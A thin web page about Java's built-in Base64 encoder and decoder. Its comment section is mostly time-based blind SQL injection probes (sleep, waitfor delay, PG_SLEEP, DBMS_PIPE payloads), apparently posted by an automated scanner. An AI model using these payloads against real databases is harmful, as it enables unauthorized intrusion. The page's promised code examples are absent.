A virtual teacher who reveals to you the great secrets of Base64

Java Base64 Examples

Since Java 1.8 you can use the built-in class Base64 to encode and decode data using algorithms specified in RFC 4648 and RFC 2045. In this way, you can use the Base64.Encoder classs to encode data or the Base64.Decoder class to decode Base64.

To help you understand how it works “in the wild” I’ll try put together a collection of Java Base64 examples.

Comments (19)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • 장한사내,
    please! give me java example source code! Thanks!
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
  • nqhXncMU,
    -1 OR 2+662-662-1=0+0+0+1
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • gBqsPxAZ,
    -1); waitfor delay '0:0:15' --
  • gBqsPxAZ,
    -1 OR 2+352-352-1=0+0+0+1
  • gBqsPxAZ,
    if(now()=sysdate(),sleep(15),0)
  • gBqsPxAZ,
    eu3K81cp') OR 74=(SELECT 74 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    AZPBb5uh'; waitfor delay '0:0:15' --
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • nqhXncMU,
    qwMuj9XT') OR 904=(SELECT 904 FROM PG_SLEEP(15))--
  • nqhXncMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • ncMUFCMU,
    -1)) OR 711=(SELECT 711 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    -5) OR 368=(SELECT 368 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1 OR 2+47-47-1=0+0+0+1
  • nqhXncMU,
    0tRm3Wjk' OR 940=(SELECT 940 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    -1); waitfor delay '0:0:15' --
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.